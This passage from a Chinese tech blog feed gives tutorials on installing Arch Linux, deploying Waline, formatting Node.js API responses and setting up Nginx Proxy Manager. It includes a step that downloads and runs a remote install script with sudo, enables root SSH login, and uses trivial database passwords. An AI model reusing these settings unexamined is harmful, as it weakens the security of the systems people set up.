<p><img src="https://img.casear.net/img/bd7b0334e9a75f74b53ee8d8265947d1.image.webp" alt="image.png"></p>
<p>使用<code>passwd</code>设置一个临时密码</p>
<p>:::note{title=&quot;注&quot;}<br>
该密码仅为当前安装的控制密码，在重启后再次安装时又是一个全新的引导，有需要的话还需要重新设置<br>
:::</p>
<p><img src="https://img.casear.net/img/4b0b36dfd748a2d3c218561b0a8edc7d.image.webp" alt="image.png"><br>
设置完密码后使用shell工具来连接刚刚的ip地址</p>
<h2>分区 格式化 挂载</h2>
<p><img src="https://img.casear.net/img/1de1b7ea9911e6801fbe6bcfa7387795.image.webp" alt="image.png"></p>
<p>输入<code>lsblk</code>查看磁盘分区情况，可以看到存在一个名称为sda磁盘(就是你在pve中给虚拟机分配的磁盘大小)</p>
<p><img src="https://img.casear.net/img/c1408c0c2e59e8e41bc3704c496fc5c5.image.webp" alt="image.png"></p>
<h2>分区操作简述</h2>
<ol>
<li>
<p><strong>启动 <code>fdisk</code> 工具</strong><br>
使用命令 <code>fdisk /dev/sda</code> 对硬盘 <code>/dev/sda</code> 进行分区操作。</p>
</li>
<li>
<p><strong>创建新分区表</strong><br>
硬盘没有有效的分区表，<code>fdisk</code> 创建了一个新的 DOS（MBR）格式的分区表。</p>
</li>
<li>
<p><strong>创建新分区</strong><br>
输入 <code>n</code> 创建新的分区，选择了默认的“主分区”（primary）。</p>
</li>
<li>
<p><strong>选择分区编号</strong><br>
输入默认的分区编号“1”。</p>
</li>
<li>
<p><strong>分区起始与结束</strong><br>
选择默认的起始扇区和结束扇区，分区大小为 64GB。</p>
</li>
<li>
<p><strong>完成操作</strong><br>
新分区创建完成，类型为 Linux，大小 64GB。</p>
</li>
</ol>
<p><img src="https://img.casear.net/img/bf4263ff6888a7bb5957ed974fd1684f.image.webp" alt="image.png"></p>
<p>在启动 <code>fdisk</code> 工具后，输入 <code>n</code> 来创建新的分区，遇到提示时直接按回车使用默认选项，直到操作完成并再次弹出提示时输入<code>w</code>来保存分区</p>
<p><img src="https://img.casear.net/img/0e55271b5705d5011c1244badd7d8459.image.webp" alt="image.png"></p>
<p>保存后再使用<code>lsblk</code>命令查看，发现磁盘<code>sda1</code>创建成功</p>
<p><img src="https://img.casear.net/img/749f96207e55fa24eb62ae7547b347a7.image.webp" alt="image.png"></p>
<p>此时再使用<code>mkfs.ext4 /dev/sda1</code>命令对新建的磁盘进行格式化</p>
<p><img src="https://img.casear.net/img/8251deaa95a82467dc3f0ed2daa714dc.image.webp" alt="image.png"></p>
<p>最后再使用<code>mount /dev/sda1 /mnt</code>来将分区挂载</p>
<p><img src="https://img.casear.net/img/d9e7025437bed4ce25b2adf9eeb00adc.image.webp" alt="image.png"></p>
<p>使用<code>lsblk</code>查看，发现挂载成功</p>
<h2>换源</h2>
<p><a href="https://xstarcd.github.io/wiki/vim/vim_simple.html">简明vim练级攻略</a></p>
<p>输入 <code>vim /etc/pacman.d/mirrorlist</code> 来打开配置文件，在前方粘贴镜像源地址</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch  # 清华大学镜像源
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch  # 中科大镜像源
</code></pre>
<p>最后保存退出<br>
<img src="https://img.casear.net/img/84aaf62adf956a2a85c5de7f82d839e9.image.webp" alt="image.png"></p>
<h2>安装基本操作系统</h2>
<p><img src="https://img.casear.net/img/90f7a861174f22f1b703a0636e7a1e0e.image.webp" alt="image.png"><br>
输入以下命令安装 Arch Linux 操作系统的软件包合集、Linux内核模块和基本固件等系统软件</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>pacstrap /mnt base base-devel linux linux-firmware
</code></pre>
<h2>基本配置</h2>
<p>完成 Arch Linux 基本系统组件的安装后，还不能着急重启计算机，需要先进行一些基本配置。这些基本配置包括生成自动挂载分区、更改系统管理员权限、设置时间（时区）、设置系统密码、安装引导程序等。</p>
<h3>生成 <code>/etc/fstab</code> 文件</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>genfstab -U /mnt &gt;&gt; /mnt/etc/fstab  <span class="hljs-comment"># 生成 fstab 文件，-U 表示设置 UUID</span>
</code></pre>
<h3>切换root权限:</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>arch-chroot /mnt    <span class="hljs-comment"># arch-chroot Bash脚本是软件包arch-install-scripts的一部分</span>
</code></pre>
<h3>设置时区：</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">ln</span> -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime  <span class="hljs-comment"># 设置时区为上海</span>
hwclock  <span class="hljs-comment"># 查看硬件时钟</span>
</code></pre>
<h3>设置主机名和root密码:</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>pacman -S vim  <span class="hljs-comment"># 安装vim编辑器</span>
<span class="hljs-built_in">echo</span> <span class="hljs-built_in">arch</span> &gt; /etc/hostname  <span class="hljs-comment">#  设置主机名为arch</span>
passwd  <span class="hljs-comment"># 设置root用户的密码</span>
</code></pre>
<p><img src="https://img.casear.net/img/ae1ebd0dacee1f1c7df3f0adb28f750c.image.webp" alt="image.png"></p>
<p>这里设置的就是正常使用的时候的密码了</p>
<h3>安装引导程序:</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>pacman -S grub  <span class="hljs-comment"># 安装GRUB</span>
grub-install --recheck /dev/sda      <span class="hljs-comment"># 安装GRUB到硬盘</span>
grub-mkconfig -o /boot/grub/grub.cfg  <span class="hljs-comment"># 生成配置文件</span>
</code></pre>
<p><img src="https://img.casear.net/img/54d5a31a165f3a0f1ad4f73abb641ebf.image.webp" alt="image.png"></p>
<h3>网络服务：</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>pacman -S networkmanager  <span class="hljs-comment"># 安装网络管理器</span>
</code></pre>
<h3>写入主机名解析配置</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">cat</span> &gt;&gt; /etc/hosts &lt;&lt; <span class="hljs-string">EOF
127.0.0.1 localhost
::1 localhost
127.0.1.1 arch.lan arch
EOF</span>
</code></pre>
<p><img src="https://img.casear.net/img/587ea522d4de53d1fc5a979dfd3f7ca1.image.webp" alt="image.png"></p>
<h3>ssh服务</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>pacman -S openssh
<span class="hljs-built_in">echo</span> PermitRootLogin <span class="hljs-built_in">yes</span> &gt;&gt; /etc/ssh/sshd_config  <span class="hljs-comment"># 允许root用户登录</span>
</code></pre>
<h3>配置语言环境</h3>
<p>使用 <code> vim /etc/locale.gen</code>打开 /etc/locale.gen，取消以下两行的注释</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>en_US.UTF-8 UTF-8
zh_CN.UTF-8 UTF-8
</code></pre>
<h3>继续执行以下命令生成locale信息：</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>locale-gen  <span class="hljs-comment"># 生成locale信息</span>
<span class="hljs-built_in">echo</span> LANG=en_US.UTF-8 &gt; /etc/locale.conf  <span class="hljs-comment"># 创建locale.conf文件，提交所要使用的本地化选项。目前先使用英文语言环境，等安装了图形用户界面再切换到中文环境</span>
</code></pre>
<p>卸载分区，重启系统</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">exit</span>  <span class="hljs-comment"># 退出 chroot 环境</span>
umount -R /mnt  <span class="hljs-comment"># 卸载所有挂载点</span>
reboot  <span class="hljs-comment"># 重启系统</span>
</code></pre>
<p><img src="https://img.casear.net/img/a0c2876084f6df0f792766feaaefc8a3.image.webp" alt="image.png"></p>
<p>安装成功</p>
<p>重启进入系统后，使用root用户登录进系统：</p>
<p>执行以下命令恢复网络以及开启ssh服务：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>systemctl <span class="hljs-built_in">enable</span> sshd --now
systemctl <span class="hljs-built_in">enable</span> NetworkManager --now
</code></pre>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[提问的艺术极简板]]></title>
            <link>https://www.casear.net/post/33</link>
            <guid>https://www.casear.net/post/33</guid>
            <pubDate>Fri, 27 Dec 2024 08:51:08 GMT</pubDate>
            <description><![CDATA[<p><img src="https://img.casear.net/img/d818a99cb66b0c6be84398343c4d36f2.twdys.webp" alt="twdys.jpg"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://img.casear.net/img/d818a99cb66b0c6be84398343c4d36f2.twdys.webp" alt="twdys.jpg"></p>
<!-- more -->
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[Waline 服务端独立部署解决方案]]></title>
            <link>https://www.casear.net/post/32</link>
            <guid>https://www.casear.net/post/32</guid>
            <pubDate>Thu, 29 Aug 2024 22:20:15 GMT</pubDate>
            <description><![CDATA[<p>Waline 是一个基于 LeanCloud 的评论系统，它是 Valine 的一个分支，提供了一些改进和新功能。Waline 旨在为博客、网站和其他在线平台提供简洁、安全的评论服务。</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>Waline 是一个基于 LeanCloud 的评论系统，它是 Valine 的一个分支，提供了一些改进和新功能。Waline 旨在为博客、网站和其他在线平台提供简洁、安全的评论服务。</p>
<!-- more -->
<h1>准备工作</h1>
<p><a href="https://waline.js.org/guide/deploy/vps.html">Waline官网独立部署文档</a>，官网采用docker独立部署，更为方便快捷。本文讲述在服务器或者自己电脑上用node包的样式来运行（虽然不知道为什么要在自己电脑上运行，但我5点爬起来就这么干了）</p>
<p>Waline的数据库文件 <a href="https://github.com/walinejs/waline/blob/main/assets/waline.sql">waline.sql</a></p>
<h2>环境变量配置参考表</h2>
<table>
<thead>
<tr>
<th>环境变量名称</th>
<th>必填</th>
<th>默认值</th>
<th>备注</th>
</tr>
</thead>
<tbody>
<tr>
<td>MYSQL*HOST</td>
<td></td>
<td>127.0.0.1</td>
<td>MySQL 服务的地址</td>
</tr>
<tr>
<td>MYSQL_PORT</td>
<td></td>
<td>3306</td>
<td>MySQL 服务的端口</td>
</tr>
<tr>
<td>MYSQL_DB</td>
<td>√</td>
<td></td>
<td>MySQL 数据库库名</td>
</tr>
<tr>
<td>MYSQL_USER</td>
<td>√</td>
<td></td>
<td>MySQL 数据库的用户名</td>
</tr>
<tr>
<td>MYSQL_PASSWORD</td>
<td>√</td>
<td></td>
<td>MySQL 数据库的密码</td>
</tr>
<tr>
<td>MYSQL_PREFIX</td>
<td></td>
<td>wl*</td>
<td>MySQL 数据表的表前缀</td>
</tr>
<tr>
<td>MYSQL_CHARSET</td>
<td></td>
<td>utf8mb4</td>
<td>MySQL 数据表的字符集</td>
</tr>
<tr>
<td>MYSQL_SSL</td>
<td></td>
<td></td>
<td>是否使用 SSL MYSQL 连接数据库</td>
</tr>
</tbody>
</table>
<h2>方法1</h2>
<p>在linux操作系统下，可以直接修改主目录下的.bashrc文件<br>
写入</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">export</span> MYSQL_HOST=12.12.12.12
<span class="hljs-built_in">export</span> MYSQL_PORT=3306
<span class="hljs-built_in">export</span> MYSQL_DB=waline
</code></pre>
<p>填写完成后保存文件并执行以下命令刷新：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">source</span> ~/.bashrc
</code></pre>
<p>该方法是直接导出系统级的环境变量，使waline 服务端可以从process.env对象中顺利读取到，而这样定义的全局环境变量存在一个弊端，就是会污染到全局，可能会干预到其他项目，而且 windows 与 linux 的配置方法各不相同。所以这里并不推荐，而是更推荐使用方案二</p>
<h2>方法2</h2>
<p>在使用Node.js进行项目开发时，可以通过<code>process.env</code>对象访问环境变量。而<code>dotenv</code>是一个流行的Node.js库，它允许你将环境变量配置在一个<code>.env</code>文件中，这个文件通常位于项目的根目录下。使用<code>dotenv</code>的好处是不会污染全局环境变量，并且可以使配置和代码分离，便于管理和维护。</p>
<ol>
<li>
<p><strong>安装dotenv</strong>：首先，需要在你的Node.js项目中安装<code>dotenv</code>库。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>npm install dotenv
</code></pre>
</li>
<li>
<p><strong>创建.env文件</strong>：在项目的根目录下创建一个<code>.env</code>文件，并在其中定义所需的环境变量。</p>
<pre><code class="language-env"># .env 文件示例
MYSQL_HOST=127.0.0.1
MYSQL_PORT=3306
MYSQL_DB=waline
MYSQL_USER=root
MYSQL_PASSWORD=yourpassword
</code></pre>
</li>
<li>
<p><strong>创建入口文件</strong>：在入口文件<code>main.js</code>顶部引入并配置<code>dotenv</code>。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code> / 引入dotenv
 <span class="hljs-keyword">const</span> dotenv = <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;dotenv&#x27;</span>)
 <span class="hljs-comment">// 调用config方法合并.env环境变量</span>
 dotenv.<span class="hljs-title function_">config</span>()
 <span class="hljs-comment">// 引入并执行该文件</span>
 <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;@waline/vercel/vanilla.js&#x27;</span>)   <span class="hljs-string">``</span><span class="hljs-string">`

</span></code></pre>
</li>
</ol>
<p>使用<code>dotenv</code>的好处是，它只在当前项目中有效，不会影响到其他项目或全局环境。此外，<code>.env</code>文件通常不会被加入到版本控制系统（如git），这样可以避免敏感信息（如数据库密码）泄露。</p>
<p>至此，项目构建完成，可以在本地启动进行测试</p>
<p><img src="https://img.casear.net/img/c49acb7177df380decd914cca8d96957.image.webp" alt="image.png"></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Node.js">Node.js</category>
        </item>
        <item>
            <title><![CDATA[记-先锋书店]]></title>
            <link>https://www.casear.net/post/31</link>
            <guid>https://www.casear.net/post/31</guid>
            <pubDate>Sat, 20 Jul 2024 15:35:22 GMT</pubDate>
            <description><![CDATA[<p><img src="https://img.casear.net/img/2f980a5a771e834cf68b88b918fdee0e.xfsd%20(1).webp" alt="xfsd (1).jpg"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://img.casear.net/img/2f980a5a771e834cf68b88b918fdee0e.xfsd%20(1).webp" alt="xfsd (1).jpg"></p>
<!-- more -->
<p><img src="https://img.casear.net/img/bf81aa6936c6c3426d0ef6c33b2c0317.xfsd%20%282%29.webp" alt="xfsd (2).jpg"></p>
<p><img src="https://img.casear.net/img/670e6c89ad08ccbda540d7325ae6a9c1.xfsd%286%29.webp" alt=""></p>
<p><img src="https://img.casear.net/img/74fcce2a70daaf554db84bafb8f8e75f.xfsd%287%29.webp" alt=""></p>
<p><img src="https://img.casear.net/img/b3aed9c29475955b4d9caf761ffac1a4.xfsd%20%284%29.webp" alt="xfsd (4).jpg"></p>
<p><img src="https://img.casear.net/img/62cfcda455e61c0dd5795922365654d3.xfsd%20%285%29.webp" alt="xfsd (5).jpg"></p>
<p><img src="https://img.casear.net/img/7aa7087a408053489f2cddd2e30371c8.xfsd%20%283%29.webp" alt="xfsd (5).jpg"></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[api开发-更优雅的[规范响应数据]]]></title>
            <link>https://www.casear.net/post/30</link>
            <guid>https://www.casear.net/post/30</guid>
            <pubDate>Thu, 04 Jul 2024 12:19:50 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>api开发-更优雅的[规范响应数据]</h1>
<h2>统一响应函数</h2>
<pre><code class="language-node">function sendResponse(res, status, message, data = {}, error = {}) {
    res.json({
        status: status === 200 ? 'success' : 'error',
        code: status,
        message: message,
        data: data,
        error: error
    });
}
</code></pre>
<pre><code class="language-node">{
    &quot;status&quot;: &quot;success&quot;,
    // 描述 HTTP 响应结果：HTTP 状态响应码在 500-599 之间为”fail”，在 400-499 之间为”error”，其它均为”success”
    &quot;code&quot;: 200,
    // 包含一个整数类型的 HTTP 响应状态码，也可以是业务描述操作码，比如 200001 表示注册成功
    &quot;message&quot;: &quot;操作成功&quot;,
    // 多语言的响应描述
    &quot;data&quot;: {
    // 实际的响应数据
        &quot;nickname&quot;: &quot;Joaquin Ondricka&quot;,
        &quot;email&quot;: &quot;lowe.chaim@example.org&quot;
    },
    &quot;error&quot;: {}
    // 异常时的调试信息
}
</code></pre>
<ul>
<li>统一的数据响应格式，固定包含：code、status、data、message、error</li>
<li>内置 Http 标准状态码支持，同时支持扩展 ResponseCodeEnum 来根据不同业务模块定义响应码</li>
<li>响应码 code 对应描述信息 message 支持本地化，支持配置多语言</li>
<li>合理地返回 Http 状态码</li>
<li>根据 debug 开关，合理返回异常信息、验证异常信息等</li>
</ul>
<h2>调用方法</h2>
<pre><code class="language-node">// 处理GET请求，获取用户信息
app.get('/api/sql/', async (req, res) =&gt; {
    const userId = req.query.id;
    try {
        const userInfo = await userModule.getUserInfo(userId);
        sendResponse(res, 200, &quot;操作成功&quot;, userInfo);
    } catch (error) {
        console.error('Error fetching user info:', error);
        sendResponse(res, 500, &quot;服务器错误&quot;, {}, { message: error.message });
    }
});
</code></pre>
<p>getUserInfo函数是一个SQL查询的函数，返回一个数组<br>
将响应码 描述 数据 都通过通用操作函数来处理，达到规范化的效果</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Node.js">Node.js</category>
        </item>
        <item>
            <title><![CDATA[sqli 1-7关]]></title>
            <link>https://www.casear.net/post/29</link>
            <guid>https://www.casear.net/post/29</guid>
            <pubDate>Mon, 01 Jul 2024 13:55:48 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      </div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/	kali-linux">	kali-linux</category>
        </item>
        <item>
            <title><![CDATA[Nginx Proxy Manager安装及避坑指南]]></title>
            <link>https://www.casear.net/post/28</link>
            <guid>https://www.casear.net/post/28</guid>
            <pubDate>Tue, 25 Jun 2024 14:44:59 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>Nginx Proxy Manager 安装与使用指南</h1>
<h2>前言</h2>
<p>这篇文章介绍了如何安装 <strong>Nginx Proxy Manager</strong>，一款基于 Nginx 的反向代理管理工具，以及在使用过程中可能遇到的问题和解决方法。文章提供了安装和配置 Nginx Proxy Manager 的简要步骤，并详细介绍了如何避免常见问题，例如无法反代某些网站、SSL 证书配置错误等。通过本文提供的避坑指南，你可以更轻松地使用 Nginx Proxy Manager，享受更好的反向代理体验。</p>
<h2>使用<code>Docker</code>安装</h2>
<h3>拉取镜像</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker pull jc21/nginx-proxy-manager:latest
</code></pre>
<h3>使用镜像构建容器</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker run -d -p 80:80 -p 81:81 -p 443:443 --restart=always -v ~/data:/data -v ~/letsencrypt:/etc/letsencrypt jc21/nginx-proxy-manager:latest
</code></pre>
<ul>
<li>docker run：这是 Docker 用来创建和启动容器的命令。</li>
<li>-d：表示以守护进程模式运行容器，即在后台运行。</li>
<li>-p 80:80：将容器内部的 80 端口映射到宿主机的 80 端口，通常用于 HTTP 服务。</li>
<li>-p 81:81：将容器内部的 81 端口映射到宿主机的 81 端口，可能用于其他服务或管理界面。</li>
<li>-p 443:443：将容器内部的 443 端口映射到宿主机的 443 端口，通常用于 HTTPS 服务。</li>
<li>--restart=always：设置容器的重启策略为始终尝试重启容器。</li>
<li>-v ~/data:/data：将宿主机的 ~/data 目录挂载到容器的 /data 目录，用于持久化存储数据。</li>
<li>-v ~/letsencrypt:/etc/letsencrypt：将宿主机的 ~/letsencrypt 目录挂载到容器的 /etc/letsencrypt 目录，用于存储 Let's Encrypt 证书。</li>
<li>jc21/nginx-proxy-manager:latest：指定要运行的 Docker 镜像名称和标签，这里是 nginx-proxy-manager 的最新版本。</li>
</ul>
<h2>使用<code>Docker Compose</code>安装</h2>
<h3>安装 Docker 和 Docker Compose</h3>
<p>Nginx Proxy Manager 是通过 <strong>Docker</strong> 部署的，因此首先需要在你的服务器上安装 <strong>Docker</strong> 和 <strong>Docker Compose</strong></p>
<p>对于大多数 Linux 发行版，可以使用以下命令安装 Docker：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>curl -fsSL https://get.docker.com &gt; get-docker.sh
<span class="hljs-built_in">sudo</span> sh get-docker.sh
<span class="hljs-built_in">sudo</span> systemctl <span class="hljs-built_in">enable</span> docker
<span class="hljs-built_in">sudo</span> systemctl start docker
<span class="hljs-built_in">sudo</span> usermod -aG docker <span class="hljs-variable">$USER</span>
</code></pre>
<h3>接下来，安装 Docker Compose：</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> curl -L <span class="hljs-string">&quot;https://github.com/docker/compose/releases/download/1.29.2/docker-compose-<span class="hljs-subst">$(uname -s)</span>-<span class="hljs-subst">$(uname -m)</span>&quot;</span> -o /usr/local/bin/docker-compose
<span class="hljs-built_in">sudo</span> <span class="hljs-built_in">chmod</span> +x /usr/local/bin/docker-compose
</code></pre>
<h3>配置 Nginx Proxy Manager</h3>
<p>创建一个新目录来存放 Nginx Proxy Manager 的配置文件和数据：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">mkdir</span> nginx-proxy-manager
<span class="hljs-built_in">cd</span> nginx-proxy-manager
</code></pre>
<p>在该目录下创建一个名为 <strong>docker-compose.yml</strong> 的文件，并添加以下内容：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>version: <span class="hljs-string">&#x27;3&#x27;</span>
services:
  app:
    image: jc21/nginx-proxy-manager:latest
    restart: always
    ports:
      - <span class="hljs-string">&quot;80:80&quot;</span>
      - <span class="hljs-string">&quot;81:81&quot;</span>
      - <span class="hljs-string">&quot;443:443&quot;</span>
    environment:
      - DB_MYSQL_HOST=db
      - DB_MYSQL_PORT=3306
      - DB_MYSQL_USER=npm
      - DB_MYSQL_PASSWORD=npm
      - DB_MYSQL_NAME=npm
    volumes:
      - ./data:/data
      - ./letsencrypt:/etc/letsencrypt
  db:
    image: yobasystems/alpine-mariadb:latest
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=npm
      - MYSQL_DATABASE=npm
      - MYSQL_USER=npm
      - MYSQL_PASSWORD=npm
    volumes:
      - ./data/mysql:/var/lib/mysql
</code></pre>
<h3>启动 Nginx Proxy Manager</h3>
<p>在包含 <strong>docker-compose.yml</strong> 文件的目录中，运行以下命令启动 Nginx Proxy Manager 和数据库容器：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker-compose up -d
</code></pre>
<h3>访问 Nginx Proxy Manager 管理界面</h3>
<p>等待几分钟，让容器启动并初始化。然后在浏览器中访问服务器的 IP 地址或域名，端口为 81。例如：http://your-server-ip:81。默认的管理员用户名和密码分别为 admin@example.com 和 changeme。首次登录后，请确保更改默认密码。</p>
<h2>避坑</h2>
<h3>检查目标服务器</h3>
<p>确保你反代的网站可以正常访问。在浏览器或使用 curl 命令检查目标网站是否正常运行。</p>
<h3>检查 Nginx Proxy Manager 的反向代理设置</h3>
<p>登录到 Nginx Proxy Manager 管理界面，然后依次点击 &quot;Proxy Hosts&quot; &gt; &quot;Add Proxy Host&quot;。确保以下设置正确：</p>
<ul>
<li>域名：在 &quot;Domain Names&quot; 区域中输入你要使用的域名。</li>
<li>协议：在 &quot;Scheme&quot; 区域选择 &quot;https&quot;。</li>
<li>转发主机名和端口：在 &quot;Forward Hostname / IP&quot; 区域中输入目标服务器的地址，并在 &quot;Forward Port&quot; 区域中输入端口号，例如：443。</li>
<li>WebSocket 支持：如果目标网站使用了 WebSocket，确保勾选 &quot;Websockets&quot;。</li>
<li>检查 SSL 证书<br>
由于目标网站使用了 HTTPS，你可能需要为反向代理域名配置 SSL 证书。在 Nginx Proxy Manager 的 &quot;Proxy Hosts&quot; 选项卡中，找到刚刚创建的反向代理条目，然后点击右侧的绿色 &quot;Edit&quot; 图标。切换到 &quot;SSL&quot; 选项卡，选择 &quot;Request a new SSL Certificate&quot;，勾选 &quot;Force SSL&quot; 和 &quot;HTTP/2 Support&quot;，然后点击 &quot;Save&quot;。</li>
</ul>
<h3>检查 Nginx 配置</h3>
<p>如果问题仍然存在，可以查看 Nginx Proxy Manager 生成的 Nginx 配置文件。在你创建的 &quot;nginx-proxy-manager&quot; 目录中，找到 &quot;data/nginx/proxy_host&quot; 目录。在这个目录下，找到与你的域名相关的配置文件（例如，2.conf），检查其中的反向代理设置是否正确。</p>
<h3>重启 Nginx Proxy Manager</h3>
<p>在某些情况下，重启 Nginx Proxy Manager 可能有助于解决问题。在包含 docker-compose.yml 文件的目录中，运行以下命令：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker-compose down
docker-compose up -d
</code></pre>
<h3>修改 Nginx 配置以传递主机头</h3>
<p>尝试修改 Nginx Proxy Manager 生成的配置文件，以将原始主机头传递给目标服务器。在 2.conf 文件中找到以下行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>include conf.d/include/proxy.conf;
</code></pre>
<p>然后将其替换为以下内容：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>proxy_http_version 1.1;
proxy_set_header Upgrade <span class="hljs-variable">$http_upgrade</span>;
proxy_set_header Connection <span class="hljs-string">&quot;upgrade&quot;</span>;
proxy_set_header Host <span class="hljs-variable">$host</span>;
proxy_set_header X-Real-IP <span class="hljs-variable">$remote_addr</span>;
proxy_set_header X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
proxy_set_header X-Forwarded-Proto <span class="hljs-variable">$scheme</span>;
proxy_set_header X-Forwarded-Host <span class="hljs-variable">$http_host</span>;
proxy_set_header X-Forwarded-Port <span class="hljs-variable">$server_port</span>;
proxy_pass <span class="hljs-variable">$forward_scheme</span>://<span class="hljs-variable">$server</span>:<span class="hljs-variable">$port</span>;
</code></pre>
<p>保存更改后，需要重启 Nginx Proxy Manager 以使更改生效。</p>
<h3>检查网络连接和防火墙设置</h3>
<p>确保没有任何网络连接问题或防火墙设置阻止了请求。检查服务器上的防火墙规则，确保允许通过 80、443 和 81 端口的传入连接。同时，确认目标服务器的防火墙设置允许从 Nginx Proxy Manager 发起的连接。</p>
<p>使用ubuntu默认的<strong>ufw</strong>防火墙来开放端口</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> ufw allow 80/tcp
<span class="hljs-built_in">sudo</span> ufw allow 81/tcp
<span class="hljs-built_in">sudo</span> ufw allow 443/tcp
</code></pre>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[Xiaomi-Mall-Home]]></title>
            <link>https://www.casear.net/post/27</link>
            <guid>https://www.casear.net/post/27</guid>
            <pubDate>Sat, 22 Jun 2024 14:06:44 GMT</pubDate>
            <description><![CDATA[<p>https://github.com/CasearF/Xiaomi-Mall-Home<br>
小米商城首页（Someone's practical training assignment）</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
